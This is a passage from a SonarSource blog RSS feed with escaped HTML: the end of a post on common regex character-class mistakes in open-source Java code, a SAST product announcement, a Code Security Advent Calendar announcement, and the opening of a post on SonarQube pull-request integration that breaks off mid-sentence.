letter.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Where it starts to be tricky is that some characters have different meanings inside character classes than they do outside. The best example of this is probably the &lt;em&gt;hyphen/minus&lt;/em&gt; character &lt;code&gt;-&lt;/code&gt; which gains the special meaning of creating ranges when used inside a character class. To match a literal &lt;code&gt;-&lt;/code&gt;, you can escape it &lt;code&gt;\-&lt;/code&gt; or move the &lt;code&gt;-&lt;/code&gt; to the beginning or end of the character class. Another example is the multipliers. For instance outside a character class, &lt;code&gt;*&lt;/code&gt; means &amp;quot;repeated any number of times&amp;quot;. Inside a character class it just means &amp;quot;asterisk&amp;quot;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You probably think this &amp;quot;Character Classes&amp;quot; concept is easy and well understood by developers. However, after running our analyzer on a few GitHub open-source projects, we realized that it might not be the case at all. So let&amp;#x27;s take a look at real code and see how creative developers can be!&lt;/p&gt;&lt;h2&gt;Problem 1: Wrong use of separators&lt;/h2&gt;&lt;p&gt;There is a lot of confusion around the &lt;code&gt;|&lt;/code&gt; character. Outside of a character class, it is an alternation operator. So it would allow you to select &amp;quot;red&amp;quot; or &amp;quot;blue&amp;quot;, like so: &lt;code&gt;red|blue&lt;/code&gt;. But inside a character class, it&amp;#x27;s just a normal character with no special behavior. For example in this “mobile-phone number” matcher:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Pattern.compile(&quot;^1[3|4|5|7|8][0-9]{9}$&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/roncoo/roncoo-pay/blob/3954527752560dae39a47dc83db72aef15ae7c64/roncoo-pay-web-boss/src/main/java/com/roncoo/pay/permission/utils/ValidateUtils.java#L221&quot;&gt;Source (ValidateUtils.java)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The author should replace &lt;code&gt;[3|4|5|7|8]&lt;/code&gt; with &lt;code&gt;[34578]&lt;/code&gt; in the pattern.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Other developers make the same mistake with commas, as in this example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;…[0,2,3,5-9]…&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/NLPchina/ansj_seg/blob/f6774d635f1d82c43614c117d8962938e35af32d/src/main/java/org/ansj/recognition/impl/PhoneRecognition.java#L28&quot;&gt;Source (PhoneRecognition.java)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And the negation symbol &lt;code&gt;^&lt;/code&gt; should only be used at the beginning of the character class and not before each element, like in this &lt;a href=&quot;https://github.com/NanoHttpd/nanohttpd&quot;&gt;NanoHTTPD&lt;/a&gt; code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;…[^/^ ^;^,]…&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/NanoHttpd/nanohttpd/blob/efb2ebf85a2b06f7c508aba9eaad5377e3a01e81/core/src/main/java/org/nanohttpd/protocols/http/content/ContentType.java#L45&quot;&gt;Source (ContentType.java)&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Problem 2: Wrong character&lt;/h2&gt;&lt;p&gt;A more subtle potential bug is the uppercase and lowercase mix in character ranges, like in the &lt;a href=&quot;https://github.com/apache/camel&quot;&gt;Apache Camel&lt;/a&gt; code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;…[\\.|a-z|A-z|0-9]…&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/apache/camel/blob/41e5be070279a77aec13b8aba7c387015b75bccc/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaHeaderFilterStrategy.java#L29&quot;&gt;Source (KafkaHeaderFilterStrategy.java)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Do you see the bug? Not the wrong &lt;code&gt;|&lt;/code&gt; use, the other one?  Because of the second lower-case &lt;code&gt;z&lt;/code&gt;, the range &lt;code&gt;[A-z]&lt;/code&gt; matches characters in the ASCII table from &lt;code&gt;A&lt;/code&gt; to &lt;code&gt;Z&lt;/code&gt;, plus &lt;code&gt;[&lt;/code&gt;, &lt;code&gt;\&lt;/code&gt;, &lt;code&gt;]&lt;/code&gt;, &lt;code&gt;^&lt;/code&gt;, &lt;code&gt;_&lt;/code&gt;, &lt;code&gt;`&lt;/code&gt;, and adds from &lt;code&gt;a&lt;/code&gt; to &lt;code&gt;z&lt;/code&gt; on top of that. Isn&amp;#x27;t it strange? So now it should take you only one second to find a bug in this &lt;a href=&quot;https://github.com/elastic/elasticsearch&quot;&gt;Elasticsearch&lt;/a&gt; code which is commented &amp;quot;defined by RFC7230 section 3.2.6&amp;quot; for this expression:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Pattern.compile(&quot;[a-zA-z0-9!#$%&amp;&apos;*+\\-.\\^_`|~]+&quot;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/elastic/elasticsearch/blob/fc5725597189a4ee36b265a8fb75fa616b63e41b/server/src/main/java/org/elasticsearch/rest/RestRequest.java#L61&quot;&gt;Source (RestRequest.java)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unfortunately, RFC7230 does not allow &lt;code&gt;[&lt;/code&gt;, &lt;code&gt;\&lt;/code&gt;, &lt;code&gt;]&lt;/code&gt; in HTTP header field values, so it&amp;#x27;s definitely a bug. A similar bug could also occur when you want to match the character &lt;code&gt;-&lt;/code&gt; and forget to escape it or move it to the first position in the class (where it would lose its special meaning). Can you spot which &lt;code&gt;-&lt;/code&gt; character is wrong in the following &lt;a href=&quot;https://github.com/jenkinsci/jenkins&quot;&gt;Jenkins&lt;/a&gt; code?&lt;/p&gt;&lt;pre&gt;&lt;code&gt;USERINFO_CHARS_REGEX = &quot;[a-zA-Z0-9%-._~!$&amp;&apos;()*+,;=]&quot;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/jenkinsci/jenkins/blob/8c6327f4c6777d135e374e3d507ba9c20820bfc6/core/src/main/java/jenkins/org/apache/commons/validator/routines/UrlValidator.java#L154&quot;&gt;Source (UrlValidator.java)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It&amp;#x27;s the one in the range &lt;code&gt;%-.&lt;/code&gt;; it does not match 3 characters but &lt;code&gt;%&amp;amp;&amp;#x27;()*+,-.&lt;/code&gt; and because the matched characters are also present after in the character class, we know that the range &lt;code&gt;%-.&lt;/code&gt; was not intentional. Luckily, this expression will only fail to match the character &lt;code&gt;-&lt;/code&gt;, but sometimes this confusion can have a bigger impact:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;String safetextRegex = &quot;^[a-zA-Z0-9 .,;-_€@$äÄöÖüÜ!?#&amp;=]+$&quot;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/JFKakaJFK/quizconnect/blob/cfb8392ffbe5866ef5e1f081bd5adac1d9e08396/src/main/java/at/qe/sepm/skeleton/ui/beans/ValidationBean.java#L63&quot;&gt;Source (ValidationBean.java)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Nice variable name, but unfortunately this character class is most probably not as safe as expected by its initial writer. Indeed, here &lt;code&gt;;-_&lt;/code&gt; does not match 3 characters, but 37!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And don&amp;#x27;t forget that a range can only match one and only one character. If you want to match characters &amp;#x27;0&amp;#x27; &amp;#x27;1&amp;#x27; &amp;#x27;2&amp;#x27; &amp;#x27;3&amp;#x27;, you can use &lt;code&gt;[0-3]&lt;/code&gt;.  But what do you think the following &lt;a href=&quot;https://github.com/apache/hadoop/&quot;&gt;Apache Hadoop&lt;/a&gt; code is supposed to match?&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Pattern.compile(&quot;acl[0-31]&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/apache/hadoop/blob/a89ca56a1b0eb949f56e7c6c5c25fdf87914a02f/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-nodemanager/src/main/java/org/apache/hadoop/yarn/server/nodemanager/containermanager/resourceplugin/fpga/AoclDiagnosticOutputParser.java#L90&quot;&gt;Source (AoclDiagnosticOutputParser.java)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;1&lt;/code&gt; could just be a redundancy and not a bug. But, if the intention was to match an acl number as defined by Intel from &lt;code&gt;acl0 &lt;/code&gt;to &lt;code&gt;acl31&lt;/code&gt;, then it&amp;#x27;s a bug. Likewise, matching uppercase and lowercase requires two character ranges &lt;code&gt;[A-Za-z]&lt;/code&gt; and not only one like in this &lt;a href=&quot;https://github.com/apache/geode&quot;&gt;Apache Geode&lt;/a&gt; code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;…[aA-zZ0-9-_.]…&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/apache/geode/blob/bc28eb2246fe1538f5f403038db12789f9bff9bb/geode-lucene/src/main/java/org/apache/geode/cache/lucene/internal/CreateLuceneCommandParametersValidator.java#L38&quot;&gt;Source (CreateLuceneCommandParametersValidator.java)&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Problem 3: Wrong regex operator &lt;/h2&gt;&lt;p&gt;Sometimes alternations like &lt;code&gt;(jpg|png|gif)&lt;/code&gt; are wrongly written using character classes. Can you spot the bug in the following &lt;a href=&quot;https://github.com/alibaba/Tangram-Android/&quot;&gt;Alibaba&amp;#x27;s Tangram&lt;/a&gt; source code?&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Pattern.compile(&quot;(\\d+)x(\\d+)(_?q\\d+)?(\\.[jpg|png|gif])&quot;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/alibaba/Tangram-Android/blob/fa5c2bef8a88ef58d6c9a7d4bb3743b80aec0af2/tangram/src/main/java/com/tmall/wireless/tangram/util/Utils.java#L46&quot;&gt;Source (Utils.java)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Good to know, &lt;code&gt;*&lt;/code&gt; and &lt;code&gt;?&lt;/code&gt; are just normal characters when used in character classes and lose their meaning as quantifiers. So in this next example, why would you add a &lt;code&gt;?&lt;/code&gt; inside a character class?&lt;/p&gt;&lt;pre&gt;&lt;code&gt;String VALUE = &quot;[[^\&quot;]?]+&quot;; // anything but a &quot; in &quot;&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/apache/hive/blob/f37c5de6c32b9395d1b34fa3c02ed06d1bfbf6eb/ql/src/java/org/apache/hadoop/hive/ql/history/HiveHistoryUtil.java#L69&quot;&gt;Source (HiveHistoryUtil.java)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It&amp;#x27;s a complicated way to write &lt;code&gt;[^\&amp;quot;]+&lt;/code&gt;, and probably the intention was actually to write &lt;code&gt;[^\&amp;quot;]*&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The above bugs were found by our new rule &lt;a href=&quot;https://rules.sonarsource.com/java/tag/regex/RSPEC-5869&quot;&gt;java:S5869&lt;/a&gt;&lt;em&gt; - Character classes in regular expressions should not contain the same character twice&lt;/em&gt;. The initial goal of this rule was to spot tiny misunderstandings like:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/034fc385-ddb4-4155-8cf2-57ff6680695e/body-0f8a90d7-c6b7-401a-ad33-6d48503dd5f2_Selection_999%2528393%2529.jpg&quot; /&gt;&lt;p&gt;But in the end, the findings far exceeded our expectations and will ultimately prevent some very painful bugs in your applications. S5869 is available today in SonarQube, SonarCloud and SonarLint.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It was Voltaire who first said that with great power comes great responsibility. But what we&amp;#x27;ve learned in implementing rules for regular expressions is that with the great power of regular expressions, also come great challenges to write them well. In this post, I talked about what we found with rule S5869, but it&amp;#x27;s only one of the regex rules we&amp;#x27;ve been working on. Next time I&amp;#x27;ll talk about regex boundaries and complexity.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;---&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is the first installment in a series on what can go wrong in writing Regular Expressions:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/regular-expressions-present-challenges/&quot;&gt;Regular expressions present challenges even for not-so-regular developers&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/setting-the-right-regex-boundaries-is-important/&quot;&gt;Setting the right (regex) boundaries is important&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/crafting-regexes-to-avoid-stack-overflows/&quot;&gt;Crafting regexes to avoid stack overflows&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Something to add? Join the conversation &lt;a href=&quot;https://community.sonarsource.com/t/blog-post-regular-expressions-present-challenges-even-for-not-so-regular-developers/38304&quot;&gt;in the community&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Code security: now there's a tool for developers]]></title><description><![CDATA[Hey SonarQube and SonarCloud users! You now have a tool to own Code Security! 

SonarSource has been hard at work for the last year to give you the tooling to review and improve your code security. We're glad to say that today you have at your fingertips  unmatched precision and performance in SAST (Static Application Security Testing) analysis for five languages and counting.]]></description><link>https://www.sonarsource.com/blog/code-security-now-theres-a-tool-for-developers</link><guid isPermaLink="false">deefb894-43de-50ab-bffa-c19c7ea1e300</guid><dc:creator><![CDATA[G. Ann Campbell]]></dc:creator><pubDate>Fri, 11 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hey SonarQube and SonarCloud users! You now have a tool to own Code Security! &lt;/p&gt;&lt;p&gt;SonarSource has been hard at work for the last year to give you the tooling to review and improve your code security. We&amp;#x27;re glad to say that today you have at your fingertips  unmatched precision and performance in SAST (Static Application Security Testing) analysis for five languages and counting.&lt;/p&gt;&lt;p&gt;We&amp;#x27;ve been working to bring you Code Security for a couple years now, and those efforts took a giant leap forward this spring when we acquired RIPS Technologies. RIPS initially caught our eye with the depth and precision of their PHP analysis. Seeing that, we knew their depth plus our breadth - analysis of 27 languages - would make a great combination. We joined forces in May and immediately started work to combine our two approaches. Since then, we&amp;#x27;ve re-engineered our detection of injection vulnerabilities from the ground up to incorporate the best of RIPS&amp;#x27; approach and ours.&lt;/p&gt;&lt;p&gt;The result: today you have access to unparalleled precision in security analysis of Java, C#, PHP, Python and JavaScript code, with more languages to come. &lt;/p&gt;&lt;p&gt;I can say &amp;quot;unparalleled precision&amp;quot; because we&amp;#x27;ve focused in this work on eliminating false positives. Old-school SAST tools aren&amp;#x27;t built for developers. They cast a very broad net, raising an issue for everything even remotely suspicious, and make an auditor sort it out. At SonarSource, we know developers don&amp;#x27;t have time for that. So we&amp;#x27;ve made sure that when we raise an issue, you can be confident there&amp;#x27;s something to fix. At the same time, we haven&amp;#x27;t sacrificed performance; analysis is still extremely fast.&lt;/p&gt;&lt;p&gt;The best part is that you don&amp;#x27;t have to learn a new tool. These SAST advancements are part of what you already know and love: SonarCloud and SonarQube. Vulnerabilities and Security Hotspots start in SonarQube Community Edition and injection Vulnerabilities (taint analysis) is available in commercial editions. And they&amp;#x27;re available today. Getting started is as easy as making sure your Quality Profile (and your version!) is up to date. &lt;/p&gt;&lt;p&gt;By adding SAST to SonarCloud and SonarQube, we&amp;#x27;ve put the power to own Code Security in your hands. That represents a fundamental shift, and there&amp;#x27;s a lot more to say on the topic. I&amp;#x27;ll save that for the New Year. For now, enjoy the holidays and your new toy: SAST analysis built for developers.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Code Security Advent Calendar 2020]]></title><description><![CDATA[It's time to have some December fun! We have 24 little challenge gifts awaiting you that hide security vulnerabilities in real-world Java, C#, PHP and Python code. Can you spot the vulnerability?]]></description><link>https://www.sonarsource.com/blog/code-security-advent-calendar-2020</link><guid isPermaLink="false">f7c18d44-f043-5948-bc63-8e68102ede6b</guid><dc:creator><![CDATA[Johannes Dahse]]></dc:creator><pubDate>Thu, 26 Nov 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I think we&amp;#x27;d all agree that 2020 has been quite a year. Here at SonarSource, one bright spot in this tumultuous year was &lt;a href=&quot;https://blog.sonarsource.com/sonarsource-acquires-rips-technologies&quot;&gt;SonarSource’s acquisition of RIPS Technologies&lt;/a&gt;. After joining forces in May we&amp;#x27;ve spent the last six months merging not just our two SAST technologies to build a super-powerful new engine, but also merging two companies and cultures. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since 2016, an annual tradition at RIPS was the hosting of a Security Advent Calendar. Each calendar released 24 little gifts in the form of code challenges that offered fun and security training (&lt;a href=&quot;https://blog.ripstech.com/2016/apav-advent-of-php-application-vulnerabilities/&quot;&gt;2016&lt;/a&gt;, &lt;a href=&quot;https://blog.ripstech.com/2017/php-security-advent-calendar/&quot;&gt;2017&lt;/a&gt;, &lt;a href=&quot;https://blog.ripstech.com/2018/php-security-advent-calendar/&quot;&gt;2018&lt;/a&gt;, &lt;a href=&quot;https://blog.ripstech.com/2019/java-security-advent-calendar/&quot;&gt;2019&lt;/a&gt;). This was always a nice way to give something back to the community at year-end. And this is something that we would like to continue at SonarSource this year.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;So let&amp;#x27;s have some fun together!&lt;/p&gt;&lt;h2&gt;How you can participate&lt;/h2&gt;&lt;p&gt;Starting on December 1st, we will release a daily code challenge on Twitter. Can you spot the vulnerability? You can &lt;a href=&quot;https://twitter.com/sonarsourcehttps://twitter.com/Sonar_Research&quot;&gt;follow us on Twitter&lt;/a&gt; to easily subscribe to our challenges, share it with your friends, and discuss solutions and feedback in the comments. We will join the discussion too and also share our intended solutions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://twitter.com/Sonar_Research&quot;&gt;&lt;strong&gt;Challenge accepted? Follow @SonarSource on Twitter.&lt;/strong&gt;&lt;/a&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;What you can expect&lt;/h2&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7442c394-3715-4b52-b9e4-3a9a2befda4c/body-960cc60a-cae1-44f7-910a-6731c71d12ef_challenge_example.png&quot; /&gt;&lt;h3&gt;Code from real-world applications&lt;/h3&gt;&lt;p&gt;Every day, SonarCloud analyzes millions of lines of code for issues and helps open source developers fix them. We investigated some of the security findings in public repositories and selected interesting coding mistakes. In some cases, we had to modify the vulnerable code lines a bit to make them fit into an interesting challenge, but each vulnerability is based on an original in a real-world application.&lt;/p&gt;&lt;h3&gt;With 24 Vulnerabilities and Security Hotspots&lt;/h3&gt;&lt;p&gt;Our products support over 4,000 rules because there are many different kinds of mistakes you can make on the way to writing clean and secure code. In our Code Security Advent Calendar, we focus on 24 different types of Vulnerabilities and Security Hotspots that can have a major impact on your application and user security. Every challenge will hide at least one security flaw. Sometimes it&amp;#x27;s based on unvalidated or unsanitized user input, sometimes on a bad configuration, and sometimes it&amp;#x27;s a harmless-looking feature that can be abused by attackers. But don’t worry, the challenges are designed for developers, not security experts, and our solutions are there to help.&lt;/p&gt;&lt;h3&gt;In 4 of the most popular languages&lt;/h3&gt;&lt;p&gt;Our new SAST technology is constantly improved to detect vulnerabilities in the most popular programming languages. For our code challenges that focus on application security, we selected the following popular server-side languages this year: &lt;strong&gt;Java&lt;/strong&gt;, &lt;strong&gt;C#&lt;/strong&gt;, &lt;strong&gt;PHP &lt;/strong&gt;and &lt;strong&gt;Python&lt;/strong&gt;. And even if the day’s security challenge isn’t in your favorite language it’s worth looking at because the principles carry across languages and will sharpen your security skills for 2021.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://twitter.com/sonarsource&quot;&gt;&lt;strong&gt;Subscribe to our Code Security Advent Calendar&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://twitter.com/intent/tweet?original_referer=https://blog.sonarsource.com/code-security-advent-calendar-2020/&amp;ref_src=twsrc%5Etfw&amp;text=Code%20Security%20Advent%20Calendar:%20challenge%20accepted!%20%0a%0a%F0%9F%8E%81%2024%20code%20challenges%20for%20developers%0a%F0%9F%8E%81%20with%20Vulnerabilities%20and%20%23Security%20Hotspots%0a%F0%9F%8E%81%20in%20%23Java,%20%23csharp,%20%23PHP%20and%20%23Python%0a%0a&amp;tw_p=tweetbutton&amp;url=https://blog.sonarsource.com/code-security-advent-calendar-2020/&quot;&gt;&lt;strong&gt;Share your excitement in a Tweet&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;We wish you all a happy and healthy December season!&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;If you don’t use Twitter you can also join the discussion in &lt;a href=&quot;https://community.sonarsource.com/t/code-security-advent-calendar-2020/35064&quot;&gt;our community forum&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Make Code Quality & Security™ an integral part of your workflow]]></title><description><![CDATA[SonarQube Developer Edition overlays Code Quality and Security™ right onto your projects. Your pull requests are automatically analyzed and decorated with a clear Go/No Go Quality Gate so you only merge clean, quality code! 👏]]></description><link>https://www.sonarsource.com/blog/sonarqube-alm_good-vibes</link><guid isPermaLink="false">23e96646-274d-57d4-b17a-8b2356fd08c4</guid><dc:creator><![CDATA[Clint Cameron]]></dc:creator><pubDate>Tue, 10 Nov 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Developers today spend a lot of time in their repo/SCM environments like GitHub, Bitbucket, Azure DevOps &amp;amp; GitLab. At SonarSource we use the term ALM for these tools. Whatever you prefer to call them, they&amp;#x27;re a hub of activity for the team and where projects are created and crafted. The ALM lies at the heart of a well-assembled workflow that efficiently and consistently delivers quality applications. Like many organizations, you&amp;#x27;ve put in the hard work to carefully craft and curate your workflow so it nicely churns out builds on the reg. A well-orchestrated, efficient workflow is great &lt;strong&gt;&lt;em&gt;and&lt;/em&gt;&lt;/strong&gt; yet - is that all there is to it? Maybe there&amp;#x27;s a still piece missing...&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A streamlined, automated workflow is super valuable and I&amp;#x27;ll contend it&amp;#x27;s not enough. The &lt;em&gt;quality&lt;/em&gt; of the output matters and it&amp;#x27;s only as good as the input. A beautiful kitchen stocked with expensive appliances doesn&amp;#x27;t automatically translate into a delicious meal. If you&amp;#x27;re not feeding your development workflow clean, secure code, you&amp;#x27;re not going to get quality apps out. SonarQube is your clean coding partner that helps ensure you feed quality in so you get quality out.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/60cedcae-f379-431b-a5ce-ab808f7398ad/body-48e92718-edc1-496f-b837-7832c555be1b_flow-header%25402x.png&quot; /&gt;&lt;p&gt;In this article, we&amp;#x27;ll explore how SonarQube &lt;a href=&quot;https://www.sonarqube.org/developer-edition/&quot;&gt;Developer Edition&lt;/a&gt; integrates tightly with four popular ALM tools (GitHub, Azure DevOps, Bitbucket, GitLab) and helps you and your team write clean, quality code. For thousands of organizations, large and small, SonarQube is the &amp;#x27;tool of the trade&amp;#x27; for Code Quality and Security.&lt;/p&gt;&lt;h5&gt;&lt;br/&gt;&lt;/h5&gt;&lt;h5&gt;&lt;em&gt;&amp;quot;Give me a lever long enough and a fulcrum on which to place it, and I shall move the world.&amp;quot; - Archimedes&lt;/em&gt;&lt;/h5&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I like to think that Archimedes was broadly smirking as he said that. While fanciful, his statement demonstrates the awesome collision of an audacious concept with the practical application of a simple, effective tool. While not quite as audacious in nature, SonarSource products are the lever and fulcrum for elevating your code quality.&lt;/p&gt;&lt;h3&gt;&lt;em&gt;Fear does not exist in this dojo!&lt;/em&gt;&lt;/h3&gt;&lt;p&gt;If you haven&amp;#x27;t yet adopted a Code Quality and Security solution, don&amp;#x27;t let fear or doubt hold you back. SonarQube is backed by over 10 years of product engineering and experience so we make it easy to jump into the code quality pool. At SonarSource, we&amp;#x27;re developers too and we&amp;#x27;re guided by our core product values:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Available to every developer&lt;/li&gt;&lt;li&gt;Simple and transparent for developers and their teams&lt;/li&gt;&lt;li&gt;Accurate in the info provided and always helpful&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;We kept the values in mind while developing the SonarQube integration with our ALM partners mentioned above. Modern coding practices have evolved considerably since daily code checkouts and nightly builds.&lt;/p&gt;&lt;h5&gt;&lt;em&gt;“Optimism is an occupational hazard of programming: feedback is the &lt;/em&gt;treatment&lt;em&gt;.“ - Kent Beck&lt;/em&gt;&lt;/h5&gt;&lt;p&gt;Today, developers code in branches for new features and bug fixes. They&amp;#x27;re doing this in their ALM and that&amp;#x27;s the perfect place to add value with code quality feedback. The ALM is where developers submit changes for review and trigger deployments. It only makes sense for SonarQube to tightly integrate here and there&amp;#x27;s no better focal point than the pull request (PR). It&amp;#x27;s the perfect place for code quality feedback to the developer!&lt;/p&gt;&lt;h3&gt;&lt;em&gt;Timing is everything...&lt;/em&gt;&lt;/h3&gt;&lt;p&gt;In our case, the feedback we want to give the developer is whether they&amp;#x27;re following the &lt;a href=&quot;https://www.sonarqube.org/features/clean-as-you-code/&quot;&gt;Clean as You Code&lt;/a&gt; (CAYC) methodology. You should definitely read the CAYC &lt;a href=&quot;https://blog.sonarsource.com/clean-as-you-code&quot;&gt;blog&lt;/a&gt;, but a quick synopsis is this:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Developers should only focus on new/changed code;&lt;/li&gt;&lt;li&gt;Don&amp;#x27;t leave issues for others to discover down the road;&lt;/li&gt;&lt;li&gt;Set a code quality and security standard and only commit code that meets or exceeds it&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;SonarQube PR decoration unites CAYC with your new/changed code so you get the right info at the right time. The graphic below demonstrates how the CAYC concept intersects with your workflow allowing SonarQube to provide the &lt;em&gt;right&lt;/em&gt; &lt;strong&gt;info&lt;/strong&gt;, at the &lt;em&gt;right&lt;/em&gt; &lt;strong&gt;time&lt;/strong&gt;, in the &lt;em&gt;right&lt;/em&gt; &lt;strong&gt;place&lt;/strong&gt;:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ee78e855-8d78-4410-9cec-763a32155556/body-594891e5-0971-49e5-b395-9716392b3911_Screen%2BShot%2B2020-09-11%2Bat%2B17.02.27.png&quot; /&gt;&lt;h3&gt;&lt;em&gt;Workflow Enhancement, Not Disruption&lt;/em&gt;&lt;/h3&gt;&lt;p&gt;The diagram below outlines a typical SonarQube workflow integration. Starting in your IDE, SonarLint catches bugs, vulnerabilities and code smells. It&amp;#x27;s best to fix issues as soon as they&amp;#x27;re created and you can&amp;#x27;t shift much further left than your IDE! Once you&amp;#x27;ve finished writing your code and open a pull request, this automatically triggers a SonarQube analysis as part of your build process.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a569ce87-6588-4aa4-9ea0-44015f6d2f26/body-2548db75-1761-4a3b-bab7-5acd02bd5658_Diagram%2Bof%2BPR%2BDeco%2Bin%2Bthe%2BALM.png&quot; /&gt;&lt;p&gt;The results of the analysis are decorated back into your PR so right away - you know the quality condition of your new code. A key, super-powerful metric included in the PR decoration is a &lt;a href=&quot;https://www.sonarqube.org/features/quality-gate/&quot;&gt;Quality Gate&lt;/a&gt; (QG). With the Quality Gate, you know at a glance if the code in your PR meets the quality standards set by you and your team. If your QG is &lt;strong&gt;GREEN&lt;/strong&gt;, you can merge with confidence. If it&amp;#x27;s &lt;strong&gt;RED&lt;/strong&gt;, you&amp;#x27;ve got some more work to do.&lt;/p&gt;&lt;p&gt;Here&amp;#x27;s an example in GitHub so you can see the workflow:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2e096598-af86-4986-a145-044a18b8bb8e/body-36e5e290-7294-466e-8016-615ba287c123_GH%2BPR%2B-%2BFailed%2BQG.png&quot; /&gt;&lt;p&gt;Opening a PR in GitHub kicked off a SonarQube analysis. In the GitHub Checks tab, we can see a failed Quality Gate. In this case, there&amp;#x27;s an unreviewed Security Hotspot and the QG 